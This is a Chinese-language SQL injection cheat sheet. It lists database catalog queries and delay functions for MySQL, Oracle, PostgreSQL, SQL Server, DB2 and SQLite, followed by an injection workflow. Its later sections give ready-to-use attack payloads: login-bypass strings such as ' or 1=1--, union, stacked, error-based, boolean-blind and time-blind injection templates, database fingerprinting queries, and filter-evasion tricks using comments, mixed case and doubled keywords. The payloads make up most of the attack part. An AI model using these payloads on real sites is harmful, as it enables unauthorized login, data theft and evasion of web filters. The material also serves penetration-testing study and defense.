各版本数据库语句备忘

简介

常见SQL版本

  • MySQL

  • Oracle

  • SQL Server

  • PostgreSQL

  • DB2

  • SQLite

常用常量

MySQL

常用函数

字符串函数

  • database():显示当前数据库

  • user():显示当前用户

  • version():显示数据库版本

  • @@version_compile_os:显示操作系统版本

  • @@version_compile_machine:显示操作系统位数

  • @@datadir:显示数据库文件存放路径

  • @@basedir:显示数据库安装路径

  • @@hostname:显示数据库主机名

  • @@port:显示数据库端口

功能函数

  • GROUP_CONCAT(name):将多个值拼接成字符串

  • concat(a,b):将a和b拼接成字符串

  • substr(str,pos,len):截取字符串

  • mid(str,pos,len):截取字符串

  • left(str,len):截取字符串

  • right(str,len):截取字符串

  • ascii(str):返回字符串第一个字符的ASCII码

  • sleep(5):让数据库等待5秒

  • updatexml(xml_doument,XPath_string,new_value):更新XML内容

  • extractvalue(xml_doument,XPath_string):提取XML内容

information_schema库

SCHEMATA表

字段:SCHEMA_NAME

-- 获取当前数据库所有库名
SELECT SCHEMA_NAME FROM information_schema.SCHEMATA;

TABLES表

字段:TABLE_NAME(表名),TABLE_SCHEMA(表对应的库名)

-- 获取某个库的所有表名
SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'xxx';

COLUMNS表

字段:TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME, COLUMN_TYPE

-- 获取某个表的所有列名
SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME = 'xxx';

Oracle

常用函数

字符串函数

user:显示当前用户 sysdate:显示当前时间 version:显示数据库版本

功能函数

  • ascii(str):返回字符串第一个字符的ASCII码

  • chr(num):返回ASCII码对应的字符

  • substr(str,pos,len):截取字符串

  • dbms_pipe.receive_message(('a'),5):让数据库等待5秒

  • dbms_lock.sleep(5):让数据库等待5秒

ALL_USERS表

USERNAME:用户名(相当于模式名) ACCOUNT_STATUS:账户状态

-- 获取当前数据库所有用户(模式)
SELECT USERNAME FROM ALL_USERS;

Notes 在 Oracle 数据库中,每个模式相当于一个独立的数据库用户,可以包含表、视图、函数、存储过程等数据库对象。请注意,这里使用的是 all_users 视图,它包含了所有的数据库用户,即模式的列表。

ALL_TABLES表

OWNER:表所属用户 TABLE_NAME:表名 TABLESPACE_NAME:表空间名

-- 获取某个用户的所有表名
SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER = 'xxx';

ALL_TAB_COLUMNS表

OWNER:表所属用户 TABLE_NAME:表名 COLUMN_NAME:列名

-- 获取某个表的所有列名
SELECT COLUMN_NAME FROM ALL_TAB_COLUMNS WHERE TABLE_NAME = 'xxx';

PostgreSQL

常用函数

字符串函数

  • current_database():显示当前数据库

  • user:显示当前用户

  • version():显示数据库版本

功能函数

  • ascii(str):返回字符串第一个字符的ASCII码

  • chr(num):返回ASCII码对应的字符

  • substr(str,pos,len):截取字符串

  • string_agg(name,','):将多个值拼接成字符串

  • pg_sleep(5):让数据库等待5秒

information_schema库

同MySQL

SELECT table_name FROM information_schema.tables WHERE table_schema = 'your_schema_name';
-- 时间盲注语法
select case when (ascii(substr((<查询语句>),{i},1))>{mid}) then pg_sleep({sleepTime}) else pg_sleep(0) end

DB2

常用函数

字符串函数

  • current server:显示当前数据库

  • current user:显示当前用户

  • version():显示数据库版本

功能函数

  • ascii(str):返回字符串第一个字符的ASCII码

  • chr(num):返回ASCII码对应的字符

  • substr(str,pos,len):截取字符串

  • sleep(5):让数据库等待5秒

syscat.tables表

tabschema:表所属用户 tabname:表名 owner:表所有者 type:表类型 remarks:表备注

-- 获取某个用户的所有表名
SELECT tabname FROM syscat.tables WHERE tabschema = 'xxx';

syscat.columns表

tabschema:表所属用户 tabname:表名 colname:列名 typename:列类型 length:列长度 scale:列精度

-- 获取某个表的所有列名
SELECT colname FROM syscat.columns WHERE tabname = 'xxx';

SQL Server

常用函数

字符串函数

db_name():显示当前数据库 user_name():显示当前用户 @@servername:显示数据库主机名 @@version:显示数据库版本 @@spid:显示当前连接ID @@dbid:显示当前数据库ID @@language:显示数据库语言

功能函数

ascii(str):返回字符串第一个字符的ASCII码 char(num):返回ASCII码对应的字符 substring(str,pos,len):截取字符串 waitfor delay '0:0:5':让数据库等待5秒 IF(1=1,waitfor delay '0:0:5',1):如果1=1,则让数据库等待5秒,否则返回1

sys.schemas

  • name:模式名

  • schema_id:模式ID

-- 获取当前数据库所有模式
SELECT name FROM sys.schemas;

sys.tables

  • name:表名

  • object_id:表的对象标识符

  • schema_id:表所属模式ID

-- 获取某个模式的所有表名
SELECT name FROM sys.tables WHERE schema_id = (SELECT schema_id FROM sys.schemas WHERE name = 'xxx');

sys.columns

  • name:列名

  • object_id:列所属表的对象标识符

-- 获取某个表的所有列名
SELECT name FROM sys.columns WHERE object_id = (SELECT object_id FROM sys.tables WHERE name = 'xxx');

SQLite

常用函数

字符串函数

  • sqlite_version():显示数据库版本

  • sqlite_source_id():显示数据库源码ID

  • sqlite_user_version():显示数据库用户版本

功能函数

  • ascii(str):返回字符串第一个字符的ASCII码

  • char(num):返回ASCII码对应的字符

  • substr(str,pos,len):截取字符串

  • sleep(5):让数据库等待5秒

sqlite_master表

  • type:对象类型

  • name:对象名

  • tbl_name:表名

  • sql:建表语句

-- 获取当前数据库所有表名
SELECT name FROM sqlite_master WHERE type = 'table';
-- 获取某个表的所有列名
SELECT sql FROM sqlite_master WHERE type = 'table' AND name = 'xxx';

基本流程

  1. 判断是否存在注入点

    • 必要条件:用户输入的内容可以成为SQL语句的一部分

    • 可能存在的注入点:GET/POST/COOKIE/HTTP头/Referer/Server等

  2. 判断注入类型

    • 联合查询注入:在一条语句中执行多条语句

    • 布尔型注入:根据页面返回的结果判断是否存在注入

    • 报错注入:根据页面返回的错误信息判断是否存在注入

    • 堆叠注入:在一条语句中执行多条语句

    • 盲注:根据页面返回的结果判断是否存在注入

  3. 获取信息

    • 库名->表名->列名->SELECT <列名> FROM <表名>

万能密码

  • admin' --

  • admin' #

  • admin'/*

  • ' or 1=1--

  • ' or 1=1#

  • ' or 1=1/*

  • ') or '1'='1--

  • ') or ('1'='1--

  • 以不同的用户登陆 ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

注入类型

联合注入

语法结构

<原语句> UNION SELECT <列名> FROM <表名>

Notes

  • "<原语句>"表示"SELECT <列名> FROM <表名> WHERE <条件>",下同

Notes

  • 联合查询的两个表的列数必须相同(通过order by来判断)

堆叠注入

语法结构

<原语句>; <SQL语句>

报错注入

可见报错

Notes

  • 当SQL语句执行错误,页面出现报错详细内容时,可以通过报错信息来获取数据库信息

语法结构

<原语句> AND CAST((<查询语句>) AS int)=1

Notes

  • CAST函数:将查询结果转换为int类型

  • 当CAST的返回值是文本时,会报错并抛出内容

AND CAST((SELECT xxx FROM xxx) AS int)=1--

updatexml

updatexml(xml_doument,XPath_string,new_value)

Notes

  • 第一个参数:XML的内容

  • 第二个参数:是需要update的位置XPATH路径

  • 第三个参数:是更新后的内容

  • 所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式

  • 加上“~”就可以让XPATH校验失败

  • 如:admin' or updatexml(1,concat(0x7e,database()),0)#

extractvalue

布尔盲注

条件响应盲注

  • 当SQL语句执行正确时,页面出现某些内容,而错误时不显示该内容,可以进行布尔盲注

<原语句> AND <条件>

条件错误盲注

  • 当SQL语句执行错误时,页面出现报错(没有详细内容),可以进行布尔盲注

-- MySQL
<原语句> AND (SELECT CASE WHEN (<条件>) THEN 1/0 ELSE '' END)
-- Oracle
<原语句> AND (SELECT CASE WHEN (<条件>) THEN TO_CHAR(1/0) ELSE '' END FROM dual)
-- PostgreSQL
<原语句> AND (SELECT CASE WHEN (<条件>) THEN cast(1/0 as text) ELSE '' END)
  • 条件为真时,执行1/0,报错(除数不能为0)

时间盲注

基本语法

-- MySQL
<原语句> AND SLEEP(5)
<原语句> AND if(1=2,1,SLEEP (5))
-- PostgreSQL
<原语句>||pg_sleep(<时间>)
<原语句>||IF(1=2,1,pg_sleep(<时间>))
<原语句>;/*%3B*/SELECT+CASE+WHEN+(<条件>)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END
-- Oracle
<原语句> AND dbms_pipe.receive_message(('a'),5)

-- SQL Server
<原语句> AND WAITFOR DELAY '0:0:5'

附:盲注中判断数据库类型

-- MySQL
ASCII(SUBSTRING(@@version, 1, 1)) = 77

-- Oracle
(SELECT COUNT(*) FROM v$version WHERE banner LIKE '%Oracle%') > 0
(SELECT '1' FROM dual) = '1'

-- PostgreSQL
(SELECT COUNT(*) FROM pg_stat_activity) > 0 

-- SQL Server
(SELECT COUNT(*) FROM sys.databases WHERE name = 'master') > 0

-- SQLite
(SELECT COUNT(*) FROM sqlite_master WHERE type = 'table') > 0

-- DB2
(SELECT COUNT(*) FROM sysibm.sysdummy1) > 0

常见问题

  1. 有时存在查询语句长度限制(Unterminated string literal:未终结的字符串)

绕过技巧

被过滤内容
替代

空格

/**/ 或者 ()

=

like

substring/mid

right 或者 left

绕过union,select,where等

使用注释符绕过

常用注释符:

//,-- , /**/, #, --+, -- -, ;,%00,--a

用法:

U/**/NION/**/SE/**/LECT/**/user,pwd from user

使用大小写绕过

id=-1'UnIoN/**/SeLeCT

内联注释绕过

id=-1'/*!UnIoN*/SeLeCT1,2,concat(/*!table_name*/) FrOM/*information_schema*/.tables/*!WHERE*//*!TaBlE_ScHeMa*/like database()#

双关键字绕过

id=-1'UNIunionONSeLselectECT1,2,3–-